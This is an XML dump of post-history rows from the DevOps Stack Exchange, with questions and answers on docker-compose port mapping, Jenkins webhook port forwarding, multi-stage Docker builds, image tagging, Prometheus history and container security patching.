  <row Id="20096" PostHistoryTypeId="2" PostId="6298" RevisionGUID="ec65da87-cab4-4e37-906c-4ec294bbbc2b" CreationDate="2019-02-07T20:40:48.603" UserId="12294" Text="According to the Docker documentation:&#xD;&#xA;&#xD;&#xA;&gt; `docker-compose run` runs a one-time command against a service. [...]&#xD;&#xA;&#xD;&#xA;&gt;Commands you use with `run` start in new containers with configuration defined by that of the service, including volumes, links, and other details. However, there are two important differences.&#xD;&#xA;&#xD;&#xA;&gt; First, the command passed by `run` overrides the command defined in the service configuration. [...]&#xD;&#xA;&#xD;&#xA;&gt; The second difference is that the `docker-compose run` command does not create any of the ports specified in the service configuration. This prevents port collisions with already-open ports. If you do want the service’s ports to be created and mapped to the host, specify the --service-ports flag:&#xD;&#xA;&#xD;&#xA;&gt;`docker-compose run --service-ports web python manage.py shell`&#xD;&#xA;&#xD;&#xA;&gt;Alternatively, manual port mapping can be specified with the `--publish` or `-p` options, just as when using docker run:&#xD;&#xA;&#xD;&#xA;&gt; `docker-compose run --publish 8080:80 -p 2022:22 -p 127.0.0.1:2021:21 web python manage.py shell`&#xD;&#xA;&#xD;&#xA;This is meant so that you can run singular commands against an already defined service or services using `docker-compose run`. &#xD;&#xA;&#xD;&#xA;For example, lets say you set up a compose file that defines some kind of service. To start the service to run in the background you use `docker-compose -f &lt;FILE&gt; up --detach` but if you wanted to look inside the container using a terminal, you would run `docker-compose run bash`. &#xD;&#xA;&#xD;&#xA;The reason for the ports being ignored is `docker-compose run` assumes the container is already set up, and has it's ports set up correctly. If you ran a script that did something involving ports using `docker-compose run /path/to/script.sh` you might not want it to change the ports that were correctly mapped with your `docker-compose up` command. This way, the option makes it so you have to tell docker explicitly &quot;I actually want port mappings to change&quot;." ContentLicense="CC BY-SA 4.0" />
  <row Id="20099" PostHistoryTypeId="5" PostId="6297" RevisionGUID="4b89f7ae-52f0-424e-a966-ddd85789d42d" CreationDate="2019-02-08T00:50:22.580" UserId="12295" Comment="added 786 characters in body" Text="You are on the correct track with port forwarding - you will need to tell your router to forward traffic from your public IP address to your Jenkins server on a specific port.&#xD;&#xA;&#xD;&#xA;The 192.168.x.x address is one of the Private address ranges - nobody from the external web can see any of your servers on these addresses. See https://en.wikipedia.org/wiki/Private_network for more information on private addresses if you are interested.&#xD;&#xA;&#xD;&#xA;You probably have a modem/router to connect to your ISP. It does the work of converting all the traffic from the 192.168.x.x addresses into something that can be used in the internet. When a response comes back from the internet to your computer, the router recognizes that it is a response and sends it to the computer that initiated the request.&#xD;&#xA;&#xD;&#xA;But if a request comes from the outside world that is not a response, the router does not know where to send it - it just drops it. This is where port forwarding comes in. You can tell your router that if it sees a request coming in on port 8080 then it should send the request to the server at address 192.168.x.x and port xxxx. &#xD;&#xA;&#xD;&#xA;Note that the inbound port and the server port do not have to be the same. This can provide a level of security through obscurity - since most developers tend to have servers running on port 8080, some hacker scripts will try that port as a matter of course. You might want to have some random port number on your router going to port 8080 internally. (This is still not good security, but it is better than nothing.)&#xD;&#xA;&#xD;&#xA;Edit: I left out one important thing: you need to tell GitHub to hit your public IP address in order for the port forwarding to work. You can find out just the IP by going to https://www.google.com/search?q=whats+my+ip and Google will tell you what your public IP is. &#xD;&#xA;&#xD;&#xA;If you are connected to your ISP 24x7 then your public IP probably doesn't change that often (if ever), and this will probably work for you.&#xD;&#xA;&#xD;&#xA;If your IP changes regularly (or you just want to go to the next level) you can look into a public dynamic dns (which requires a local client) to give you a DNS name that always points to your IP address (e.g. noip.com - I haven't used them in over a decade so I don't know if they are good or not, but at least it will give you a starting point at looking at this)." ContentLicense="CC BY-SA 4.0" />
  <row Id="20101" PostHistoryTypeId="2" PostId="6299" RevisionGUID="16a12014-e223-4466-997a-610e4a3bb490" CreationDate="2019-02-08T05:24:05.747" UserId="11598" Text="Your configuration is wrong. Here you add `http://192.168.99.100:8080/` is a local Jenkins URL. Github does not connect with the local URL. Also you give the wrong webhook-URL.&#xD;&#xA;&#xD;&#xA;Please add your public IP of Jenkins in your webhook like `http://35.24.128.75:8080/&quot;` And GitHub webhook payload url is like `http://35.24.128.75:8080/github-webhook&quot;`&#xD;&#xA;&#xD;&#xA;for Full webhook configuration please watch this video: https://www.youtube.com/watch?v=wsnq9uGAWkM&amp;t=460s" ContentLicense="CC BY-SA 4.0" />
  <row Id="20102" PostHistoryTypeId="2" PostId="6300" RevisionGUID="d8f786c5-856e-4a69-9af7-e71fffe5c72e" CreationDate="2019-02-08T05:37:19.677" UserId="11598" Text="It’s possible to use **Publish Over SSH Plugin**. Lets set up ssh connection details in the settings interface of Jenkins. We assign server a name, an address, user’s name and authorization way — by password, passphrase orindicatedcate key. These adjustments are simple and easy. You may found more details the on plugin’s page.&#xD;&#xA;&#xD;&#xA;After Install Plugin Add remote server&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/bPiDF.png&#xD;&#xA;&#xD;&#xA;After Add remote server you can find in **Build** section **Send file or Execute command over SSH**  &#xD;&#xA;&#xD;&#xA;Here you can write command for Tomcat start/stop/restart&#xD;&#xA;&#xD;&#xA;for more details visit this URL: https://medium.com/@weblab_tech/how-to-publish-artifacts-in-jenkins-f021b17fde71" ContentLicense="CC BY-SA 4.0" />
  <row Id="20105" PostHistoryTypeId="5" PostId="6283" RevisionGUID="03e837da-5afa-47b5-8ac9-370820363ed0" CreationDate="2019-02-08T08:53:05.070" UserId="12275" Comment="typo" Text="I use NPM to build my web project, and it does so nicely to a little ZIP file. Keeps everything nice and light, and I can easily keep bloat down.&#xD;&#xA;&#xD;&#xA;My current process is to use an FTP client (Win SCP), to upload the ZIP file, and then I have a little deploy.sh script that simply removes the old site, and unzips the new site to the same folder.&#xD;&#xA;&#xD;&#xA;I want to be able to build this and deploy it all in one but cannot seem to find the answers. I'm not really sure where to start. I know I could move the build process to the server (git pull, and run the npm command there) but I would rather always have full visibility of the build locally before deployment (ie. could have one script to build, and another to deploy - so yes it technically is a manual deployment, but only manual in the sense that it is triggered).&#xD;&#xA;&#xD;&#xA;If this is posted in the wrong place, please advise - any help greatly appreciated!" ContentLicense="CC BY-SA 4.0" />
  <row Id="20109" PostHistoryTypeId="2" PostId="6302" RevisionGUID="7a0bc7fd-0e32-4857-bfea-ff60f6ee0f42" CreationDate="2019-02-08T10:38:57.797" UserId="10690" Text="If i understand you need:&#xD;&#xA;&#xD;&#xA; - Need Infrastructure as Code&#xD;&#xA; - Configuration management&#xD;&#xA;&#xD;&#xA;Terraform is a great tool for creating your infrastructure. It has API's for AWS, GCP and almost all the cloud providers. Now that your infrastructure is ready, you need to configure the same using tools like (CHEF, Ansible or Puppet) . I have personal bootstrapped the nodes created by Terraform to CHEF and have run cookbooks." ContentLicense="CC BY-SA 4.0" />
  <row Id="20110" PostHistoryTypeId="2" PostId="6303" RevisionGUID="0085999c-d9fc-44ab-800d-33e0ab439a26" CreationDate="2019-02-08T12:40:53.033" UserId="11179" Text="I have a third party PHP application to install in a container. The application is shipped without its dependencies. There is a provided script to automate dependency installation, but it relies on a couple of tools not available in my base image (both general utilities like `unzip` as well as some PHP-specific tools like [composer](https://getcomposer.org/)). Those tools are only required for the dependency installation. There are not required afterward.&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;A simple solution would be to install the required tools and run the installation script in a `RUN` section of my Dockerfile. But I don't want to clutter the image with software only useful during the image build step.&#xD;&#xA;&#xD;&#xA;      RUN apt-get update &amp;&amp; apt-get install --yqq unzip&#xD;&#xA;      RUN wget https://getcomposer.org/download/1.8.3/composer.phar&#xD;&#xA;      RUN php installer.php&#xD;&#xA;      # I end up polluting my container with unused tools and possible&#xD;&#xA;      # behind the scene changes in some files (`php.ini`, ...)&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Another solution would be to perform the installation on the host and to `COPY` the application alongside its dependencies into the container. But I want a reproducible build.&#xD;&#xA;&#xD;&#xA;      COPY app/ ./&#xD;&#xA;      # Not reproducible: I do not control the version of&#xD;&#xA;      # the installed app neither the version of the tools&#xD;&#xA;      # and dependencies&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;So, I envision a two-steps process: &#xD;&#xA;&#xD;&#xA;1. using a first container to perform the installation;&#xD;&#xA;2. then copying the application alongside its dependencies into another &quot;clean&quot; container.&#xD;&#xA;&#xD;&#xA;**But I don't see exactly how to achieve that. Do you have any suggestions?**&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20111" PostHistoryTypeId="1" PostId="6303" RevisionGUID="0085999c-d9fc-44ab-800d-33e0ab439a26" CreationDate="2019-02-08T12:40:53.033" UserId="11179" Text="Docker image bootstrapping" ContentLicense="CC BY-SA 4.0" />
  <row Id="20112" PostHistoryTypeId="3" PostId="6303" RevisionGUID="0085999c-d9fc-44ab-800d-33e0ab439a26" CreationDate="2019-02-08T12:40:53.033" UserId="11179" Text="&lt;docker&gt;&lt;automation&gt;&lt;installation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20113" PostHistoryTypeId="2" PostId="6304" RevisionGUID="7fadda9a-b879-4713-abdb-0a72a501b1b7" CreationDate="2019-02-08T12:55:11.340" UserId="10599" Text="Welcome to devops.stackexchange.com. &#xA;&#xA;What works best is dependent upon the team. Find a good tool for the team and perhaps change that when the circumstances change. Also you might do a little thinking ahead to work out what approach might be best fit for the near future (e.g., will my team expand? will my number of servers expand? will I have a security audit in the future?)&#xA;&#xA;Another key question is what capacity or curiosity do you have to explore a few options. If someone is trying to learn devops thinking about getting work at a startup then learning the latest free SaaS tools is a good idea. If you want to work in a regulated industry then a different set of tools are more appropriate.&#xA;&#xA;Always the first place to start is “what do developers using the same languages and frameworks do?” As another answer says you should look at npm plugins to see how they deploy. We can think of that npm as “an ecosystem” and it’s a good idea to follow the crowd for a while to understand what’s normal in terms of, say, managing configuration differences between test and live environments.&#xA;&#xA;In the npm world (say, node.js or reactjs) one typical way to manage setting is a `.env` file. If it has passwords are you confident about putting that file into git? Consider using git-secret to encrypt the file into git. What happens if you have a settings for local laptop, another for a test server and a third for a live server? How to you manage which one is used when you deploy to which server? Well npm lets you add any number of “scripts” into your `package.json` and you can have it rename the `.env.live` or `.env.test` to be `.env` on the server when you run the script as an npm command to deploy to either live or test servers. &#xA;&#xA;Many advanced readers will cringe at that simple suggestion. These is because as well as the developer ecosystem there is also the deployment ecosystem. If you deploy into Kubernetes then it has featured like configmaps and secrets that are designed to share config and passwords between many applications. If you deploy to VMs in a company that uses, say, Ansible then its worth while looking at how that ecosystem managed configuration. &#xA;&#xA;Pushing out code directly from your laptop to a couple of servers using an npm command isn’t acceptable at most companies. Did the developer remember to commit the code to source control? It would be a nightmare to have a bug in live but not know exactly what code is running there. For a hello world app that’s not a problem. For a massive reactjs app and a real business application it is a very real problem. The standard solution to this problem is to use a build server or more exactly a “CI/CD pipeline”.  That stands for continuous integration / continuous delivery. It will check out your code from git, then build and deploy automaticafrom to the correct servers.&#xA;&#xA;If you are a startup using a SaaS build service is probably the way to go. Take a look at circleci, travis, bitbucket or any number of free for small teams build pipeline services. If your code is in git they can be setup to build and deploy your code “in the cloud” every time you push code to git.  They can be configured to deploy successful builds to your servers.&#xA;&#xA;Regulated industries typically don’t build in the cloud (so far, that’s changing fast). They tend to pick a CI/CD build pipeline product to setup and manage themselves. Which ones they tend to use is “an ecosystem choice”. The C# world will use Microsoft products. The Java world often Jenkins is a default answer. So if you are learning with the intention of working at big companies it’s worth investing time in getting to know such products. They will be confusing at first as they solve problems that aren’t problems for solo developers who can use simpler approaches as described above.&#xA;&#xA;Devops is a journey of continuous improvement not a destination. Start small and get something working. Then consider how it might be improved and upgrade the approach as needed to work more efficiently with less risks of errors through better automation. &#xA;&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20117" PostHistoryTypeId="2" PostId="6306" RevisionGUID="fa207a0f-5c91-4bf6-9e56-c5a934beb781" CreationDate="2019-02-08T14:35:35.073" UserId="11179" Text="I use and argument (`ARG`) in my Dockerfile to download a particular version of an application. I would like to tag my image with that version number. I end up writing something like that:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    sh$ PHPBB_VERSION=3.2.4 &amp;&amp;&#xD;&#xA;        sudo docker build --build-arg PHPBB_VERSION=${PHPBB_VERSION} \&#xD;&#xA;                          --tag phpbb:${PHPBB_VERSION} - &lt; dockerfiles/bootstrap&#xD;&#xA;&#xD;&#xA;But I don't find that very elegant since you have to type the _word_ `PHPBB_VERSION` no less than four times in this command, with all the possible errors introduced by a typo.&#xD;&#xA;&#xD;&#xA;**So, is there a more elegant solution to tag an image with the value of a Dockerfile argument?**&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;FWIW, here is the relevant part of my Dockerfile:&#xD;&#xA;&#xD;&#xA;    sh$ cat dockerfiles/bootstrap&#xD;&#xA;    FROM php:7.2-cli&#xD;&#xA;    &#xD;&#xA;    ARG PHPBB_VERSION&#xD;&#xA;    RUN echo &quot;You are building phpBB version ${PHPBB_VERSION:?undefined}&quot;&#xD;&#xA;    ...&#xD;&#xA;    RUN wget -nv -O- \&#xD;&#xA;          https://github.com/phpbb/phpbb/archive/release-${PHPBB_VERSION}.tar.gz | \&#xD;&#xA;        tar xzf - --strip-components=1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20118" PostHistoryTypeId="1" PostId="6306" RevisionGUID="fa207a0f-5c91-4bf6-9e56-c5a934beb781" CreationDate="2019-02-08T14:35:35.073" UserId="11179" Text="Is there an elegant way to use a Dockerfile argument to tag an image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20119" PostHistoryTypeId="3" PostId="6306" RevisionGUID="fa207a0f-5c91-4bf6-9e56-c5a934beb781" CreationDate="2019-02-08T14:35:35.073" UserId="11179" Text="&lt;automation&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20123" PostHistoryTypeId="2" PostId="6308" RevisionGUID="2b09cd92-b75d-4aad-bb18-dd435120c322" CreationDate="2019-02-08T16:38:34.707" UserId="2494" Text="I love using Prometheus/Grafana to monitor and tune resource usage on my Kubernetes clusters. When pods are terminated, however, the graphs are disposed of it seems.&#xD;&#xA;&#xD;&#xA;I am looking for a solution to this problem.&#xD;&#xA;&#xD;&#xA;For informed decisions on how to tune resource requests I need history to be kept.&#xD;&#xA;&#xD;&#xA;Does anybody know how to keep graphs for deleted Kubernetes pods in Prometheus/Grafana.&#xD;&#xA;&#xD;&#xA;I am currently using this deployment:&#xD;&#xA;https://itnext.io/kubernetes-monitoring-with-prometheus-in-15-minutes-8e54d1de2e13&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20124" PostHistoryTypeId="1" PostId="6308" RevisionGUID="2b09cd92-b75d-4aad-bb18-dd435120c322" CreationDate="2019-02-08T16:38:34.707" UserId="2494" Text="Keeping graphs of terminated Kubernetes pods in Prometheus/Grafana" ContentLicense="CC BY-SA 4.0" />
  <row Id="20125" PostHistoryTypeId="3" PostId="6308" RevisionGUID="2b09cd92-b75d-4aad-bb18-dd435120c322" CreationDate="2019-02-08T16:38:34.707" UserId="2494" Text="&lt;kubernetes&gt;&lt;prometheus&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20126" PostHistoryTypeId="2" PostId="6309" RevisionGUID="6cf699ad-b596-43c9-98b1-d4a8dcd9b1b9" CreationDate="2019-02-08T16:46:08.173" UserId="11764" Text="So you can use two build stages in your Dockerfile so you don't end up having unnecessary things inside container.  Anything from first stage is gone until you move it to second stage. Something like:&#xD;&#xA;&#xD;&#xA;    FROM whatever as build-stage&#xD;&#xA;    WORKDIR /app&#xD;&#xA;    RUN apt-get update &amp;&amp; apt-get install -y unzip&#xD;&#xA;    RUN wget https://getcomposer.org/download/1.8.3/composer.phar&#xD;&#xA;    RUN php installer.php&#xD;&#xA;    &#xD;&#xA;    FROM whatever as production-stage&#xD;&#xA;    COPY --from=build-stage /app ./&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20127" PostHistoryTypeId="5" PostId="6309" RevisionGUID="4e7e42d8-7737-4614-ba00-a2fcff27d19f" CreationDate="2019-02-08T16:55:51.740" UserId="11179" Comment="Add link...." Text="So you can use two [build stages](https://docs.docker.com/develop/develop-images/multistage-build/) in your Dockerfile so you don't end up having unnecessary things inside container.  Anything from first stage is gone until you move it to second stage. Something like:&#xD;&#xA;&#xD;&#xA;    FROM whatever as build-stage&#xD;&#xA;    WORKDIR /app&#xD;&#xA;    RUN apt-get update &amp;&amp; apt-get install -y unzip&#xD;&#xA;    RUN wget https://getcomposer.org/download/1.8.3/composer.phar&#xD;&#xA;    RUN php installer.php&#xD;&#xA;    &#xD;&#xA;    FROM whatever as production-stage&#xD;&#xA;    COPY --from=build-stage /app ./&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20128" PostHistoryTypeId="24" PostId="6309" RevisionGUID="4e7e42d8-7737-4614-ba00-a2fcff27d19f" CreationDate="2019-02-08T16:55:51.740" Comment="Proposed by 11179 approved by 11764 edit id of 939" ContentLicense="CC BY-SA 4.0" />
  <row Id="20129" PostHistoryTypeId="4" PostId="6303" RevisionGUID="8cf33705-4c27-434c-bde2-185e5fa0e715" CreationDate="2019-02-08T16:58:46.353" UserId="11179" Comment="edited title" Text="Docker image two-steps build" ContentLicense="CC BY-SA 4.0" />
  <row Id="20130" PostHistoryTypeId="2" PostId="6310" RevisionGUID="dc432ead-0d0d-4871-a663-979d5e80efe6" CreationDate="2019-02-08T17:48:03.280" UserId="12295" Text="You might also want to run a scan for security vulnerabilities of some sample base images so your students get an idea of how changing the base can affect how secure your image is. For example comparing an alpine image versus a full blown Ubuntu image (especially some of the older Ubuntu images).&#xD;&#xA;&#xD;&#xA;Clair is a decent scanner that can be [set up fairly easily](https://github.com/arminc/clair-scanner) in docker containers. It is also the scanner that [GitLab use for container scanner](https://docs.gitlab.com/ee/ci/examples/container_scanning.html) if you use their CI / CD platform." ContentLicense="CC BY-SA 4.0" />
  <row Id="20131" PostHistoryTypeId="2" PostId="6311" RevisionGUID="3d2810d4-e8dd-44bc-b223-7202f91614cd" CreationDate="2019-02-08T19:08:41.143" UserId="11764" Text="Why would you want to pass ARG as docker tag? Obviously it will at least be two times, first time with --build-arg and second time with --tag. So what you can do is that run this command inside a shell script so that you don't type this command again and again and just change value of $PHPBB_VETSION and run shell script. " ContentLicense="CC BY-SA 4.0" />
  <row Id="20135" PostHistoryTypeId="2" PostId="6313" RevisionGUID="ac6214a0-08c5-4290-9b2c-987d13cc6ce7" CreationDate="2019-02-08T22:09:39.447" UserId="12313" Text="The types of numbers you're looking for might be hard to come across, because they're highly variable (even within one organization, it varies service-to-service and team-to-team, in my experience.) The [SRE Workbook][1] is now available for free, and includes two case studies (chapter 3) that might be helpful. Also, New Relic's [SRE eBook][2] does a really good job of summarizing SRE in a concise way.&#xD;&#xA;&#xD;&#xA;Another way to approach this would be to try to use what you know about your service today to create a [risk assessment][3] and estimate downtime you can prevent if you had SRE and dev support to eliminate those risks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://landing.google.com/sre/workbook/toc/&#xD;&#xA;  [2]: https://newrelic.com/resource/site-reliability-engineering&#xD;&#xA;  [3]: https://cloud.google.com/blog/products/gcp/know-thy-enemy-how-to-prioritize-and-communicate-risks-cre-life-lessons" ContentLicense="CC BY-SA 4.0" />
  <row Id="20139" PostHistoryTypeId="5" PostId="6226" RevisionGUID="cf2e2ecc-84dc-45fd-bc21-fb896beb3b46" CreationDate="2019-02-09T07:08:24.163" UserId="10599" Comment="edited body" Text="A tool that I think is rather under recognised is [s2i][1]. The basic idea is that you don’t put a Dockerfile into your source repo specifying the runtime to use you keep your app code bare (just code). The decision as to which security patched s2i image to compile and run the code with is a separate matter that is independent and can be centrally managed.&#xA;&#xA;The way this is used in the OKD world is that a “BuildConfig” pulls your code from git to make an application image and is trigger by either a git webook or a docker registry push that updated the s2i image with a security patch. &#xA;&#xA;In our case we have many node and php apps. To security patch either runtime we push the latest s2i image into our OKD docker registry and that causes all our application images to be recreated and redeployed. &#xA;&#xA;Why I think that is of interest is that it basically says that what the code is, and how the code is run from a container security perspective, should not be conflated. They are two concerns that are not on the same cadence. A high impact vulnerability should be patched in the main test environment immediately and not be dependent on talking to several scrum teams about pushing a change to the Dockerfile in each team’s git repo. &#xA;&#xA;When you have many apps or many small dev teams that separation to do “policy based security patching” of containers can be very useful. You can run s2i on your desktop or with container based SaaS ci tool such as [circleci][2]. It would be straightforward to run it in, say, Jenkins. That means you can have, say, dozens of micro service Jenkins deploy jobs triggered by git webook that run s2i and push the final image. You can then control the version of the s2i image you use in all the Jenkins jobs in one place. You can then script a security update that updates the s2i docker url to the latest security fix and triggers all Jenkins release jobs to run to apply the patched s2i to all microservices. No code or config needs to change in any git repo.&#xA;&#xA;While I mention OKD by default it doesn’t let you run a container image as uid 0 (root). It uses a random uid and gid 0. This is for security in case the process gets out of its jail and tries to modify the host. Most public docker images just expect you run as root and file permission don’t let you run the app in the image as an arbitrary uid as `docker —user ${rand_uid}:0`. You have to bake an image that gives gid 0 the file permissions to run the app. The s2i images all work under these circumstances. &#xA;&#xA;If you need apps in docker to lookup the use details in `/etc/passwd` when running as a random uid the you can fake that. [Here][3] is a script that runs git in docker as random uid where git wants to lookup the current in `/etc/passwd` so the script fakes it. &#xA;&#xA;The lesson here IMHO is that while in theory docker gives perfect isolation in practice all code is subject to security flaws. In theory many small dev teams will update all Dockerfiles immediately or very frequently but in practice dev teams are focused on features not long term security patching. (I work with one microservies platform that currently has &gt;200 git repos and dev teams on three continents so coordinating anything is a challenge.) So security should be “defence in depth” and take concrete steps to do centralised patching of container images, not run containers as root, and use a random uid that isn’t in the host `/etc/passwd` so cannot read or write outside of its jail. &#xA;&#xA;  [1]: https://github.com/openshift/source-to-image&#xA;  [2]: https://gist.github.com/simbo1905/056d193328c81250a54b7c68f8a9e77b&#xA;  [3]: https://github.com/ocd-scm/ocd-environment-webhook/blob/039162d357c3d01c09ff03177352b889ce7605f0/bin/ocd-checkout-env.sh#L10" ContentLicense="CC BY-SA 4.0" />
  <row Id="20140" PostHistoryTypeId="5" PostId="4305" RevisionGUID="04dcbc74-8593-43b6-bfc4-6d8494abd9c6" CreationDate="2019-02-09T10:03:03.690" UserId="8348" Comment="Add link to migration guide" Text="Travis CI originally created two separated platforms to differentiate between private repos / paid ([travis-ci.com](https://travis-ci.com)) and public repos / free ([travis-ci.org](https://travis-ci.org)).&#xD;&#xA;&#xD;&#xA;However, as of May 2018, **new users and projects (both private and public) should only use [travis-ci.com](https://travis-ci.com)** (see [official announcement](https://blog.travis-ci.com/2018-05-02-open-source-projects-on-travis-ci-com-with-github-apps)).&#xD;&#xA;&#xD;&#xA;&gt; Over the next several months, we’ll be migrating all travis-ci.org repositories and customers to travis-ci.com. Though this will not happen right away, you can go ahead and read more about what to expect [in the docs](https://docs.travis-ci.com/user/open-source-on-travis-ci-com/).&#xD;&#xA;&#xD;&#xA;Have a look at their [migration guide](https://docs.travis-ci.com/user/migrate/open-source-on-travis-ci-com/) if you still have repositories on travis-ci.org." ContentLicense="CC BY-SA 4.0" />
  <row Id="20141" PostHistoryTypeId="5" PostId="6184" RevisionGUID="39652523-096f-408d-ace7-0de829b7d51e" CreationDate="2019-02-09T10:12:00.807" UserId="10599" Comment="added 640 characters in body" Text="Welcome to the wonderful world of container orchestrators.&#xA;&#xA;Consider microservices for a moment. Each service should be independently deployed and independently scaled across a cluster of VMs. Where does basic Docker and Docker Compose fit in? They don’t compete with distributed system orchestrators like Openshift Kubernetes, CloudFoundry or Docker Swarm.&#xA;&#xA;A microservices platform that scales out and has fault tolerances needs a cluster of servers with internal load balancing where traffic to each service is load balanced to many replicas. The idea that you would link two containers doesn’t make sense in a microservices world as each container should connect to a logical service that balances traffic to many pods that are scaled independently of other services. So study the templates for how large scale apps run across a whole cluster of VMs with something like OKD Kubernetes. &#xA;&#xA;So where does Docker Compose fit in if you are using a full orchestrator? I don’t think it does if you are using something like Kubernetes. Developers can run Minikube or Minishift on their laptop. Better yet one “not production” cluster can run a different namespace for every developer to have their own personal or shared sandpits to develop in. You can also setup one namespace per test environment on that one cluster simplifying you management. (Production can be in a dedicated cluster.)&#xA;&#xA;Note that Docker [isn’t the only container runtime][1] these days and IMHO it’s unlikely to not be the default one for orchestrators in other than Swarm in the future. For example k8s now uses a standard API that [lets you plug in alternatives][2] and runtimes that focus on security and footprint are likely to become the default. &#xA;&#xA;**Update**: there are some special cases where “running two image in the same process space” makes sense. One is the “side car pattern”. That than mixing business services together this is where you run a technical service image with every business service. An example of that is a service mesh that uses an smart proxy in every container. Every business service can only connect to the smart proxy in the same process space. The smart proxy can then do things like service discovery, load balancing, circuit breaking, load shedding, protocol upgrades, mutual TLS between all business services. &#xA;&#xA;&#xA;  [1]: https://kubedex.com/kubernetes-container-runtimes/&#xA;  [2]: https://kubic.opensuse.org/blog/2018-09-17-crio-default/" ContentLicense="CC BY-SA 4.0" />
  <row Id="20142" PostHistoryTypeId="5" PostId="6184" RevisionGUID="83b2a556-4a76-4fa2-9be6-057701954d63" CreationDate="2019-02-09T10:33:50.043" UserId="10599" Comment="added 61 characters in body; added 46 characters in body" Text="Welcome to the wonderful world of container orchestrators.&#xA;&#xA;Consider microservices for a moment. Each service should be independently deployed and independently scaled across a cluster of VMs. Where does basic Docker and Docker Compose fit in? They don’t compete with distributed system orchestrators like Openshift Kubernetes, CloudFoundry or Docker Swarm.&#xA;&#xA;A microservices platform that scales out and has fault tolerances needs a cluster of servers with internal load balancing where traffic to each service is load balanced to many replicas. The idea that you would link two containers doesn’t make sense in a microservices world as each container should connect to a logical service that balances traffic to many pods that are scaled independently of other services. So study the templates for how large scale apps run across a whole cluster of VMs with something like OKD Kubernetes. &#xA;&#xA;So where does Docker Compose fit in if you are using a full orchestrator? I don’t think it does if you are using something like Kubernetes. Developers can run Minikube or Minishift on their laptop. Better yet one “not production” cluster can run a different namespace for every developer to have their own personal or shared sandpits to develop in. You can also setup one namespace per test environment on that one cluster simplifying you management. (Production can be in a dedicated cluster.)&#xA;&#xA;Note that Docker [isn’t the only container runtime][1] these days and IMHO it’s unlikely to not be the default one for orchestrators in other than Swarm in the future. For example k8s now uses a standard API that [lets you plug in alternatives][2] and runtimes that focus on security and footprint are likely to become the default. &#xA;&#xA;**Update**: There are some special cases where “running two image in the same process space” makes sense. One is the “[sidecar pattern][3]”. Rather than than mixing business services together this is where you run a technical service image with every business service image. An example of that is a service mesh that uses an smart proxy in every container. Every business service only connects to the smart proxy in the same process space that forwards traffic to the next business service. The smart proxy can then do things like service discovery, load balancing, circuit breaking, load shedding, protocol upgrades, mutual TLS between all business services. &#xA;&#xA;&#xA;  [1]: https://kubedex.com/kubernetes-container-runtimes/&#xA;  [2]: https://kubic.opensuse.org/blog/2018-09-17-crio-default/&#xA;  [3]: https://link.medium.com/BfC9rYVgaU" ContentLicense="CC BY-SA 4.0" />
  <row Id="20147" PostHistoryTypeId="2" PostId="6316" RevisionGUID="fb48eb64-c16b-4a1b-a9d4-a8155947495b" CreationDate="2019-02-09T19:36:00.877" UserId="4175" Text="In my experience with &quot;raising awareness about security&quot; (for technical-minded people) is simply to show them the problem in action.&#xD;&#xA;&#xD;&#xA;Find out what concrete, practical problems actually exist, and just show them (by actually showing, or by having them find out for themselves).&#xD;&#xA;&#xD;&#xA;All docker security problems I've come upon have been quite self-evident and kind of obvious in hindsight. Except for one issue way back (pre-1.0) where they originally had blacklist for kernel calls instead of whitelists, most other issues can readily be shown by configuration, or hello-world style images, or by sharp thinking (&quot;do we really want to use the IAmNotEvil/SpecialUbuntuDistribution image from dockerhub instead of an official, and how do we know the official one is good?&quot;).&#xD;&#xA;&#xD;&#xA;Oh, and for a complete discussion, don't forget to show them in which aspects Docker is *more* secure (or more easily secured) than a plain server..." ContentLicense="CC BY-SA 4.0" />
  <row Id="20148" PostHistoryTypeId="50" PostId="5917" RevisionGUID="c56690b3-56d6-4780-af1f-de1ed426abdc" CreationDate="2019-02-10T07:00:26.643" UserId="-1" />
  <row Id="20149" PostHistoryTypeId="50" PostId="5691" RevisionGUID="f4d91d55-c098-4ffa-ba75-46eb2c947873" CreationDate="2019-02-10T08:02:30.543" UserId="-1" />
  <row Id="20150" PostHistoryTypeId="2" PostId="6317" RevisionGUID="d32c946e-2491-49dd-aa2d-ab48a74508c2" CreationDate="2019-02-10T19:22:51.183" UserId="6726" Text="I have a docker compose file with env variables for stage specific configurations. As long as env variables are used in values in docker-compose.yml everything is fine, but the problem is with the network name, since it's specified in the tag.&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;      mynetwork.${STAGE_NAME}:&#xD;&#xA;        driver: bridge&#xD;&#xA;        ipam:&#xD;&#xA;          driver: default&#xD;&#xA;          config:&#xD;&#xA;            - subnet: ${STAGE_NETWORK_PREFIX}.0/24&#xD;&#xA;&#xD;&#xA;Any chance to get the network name `mynetwork.${STAGE_NAME}` configurable from outside?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20151" PostHistoryTypeId="1" PostId="6317" RevisionGUID="d32c946e-2491-49dd-aa2d-ab48a74508c2" CreationDate="2019-02-10T19:22:51.183" UserId="6726" Text="docker-comose.yml - make network name configurable via environment variable" ContentLicense="CC BY-SA 4.0" />
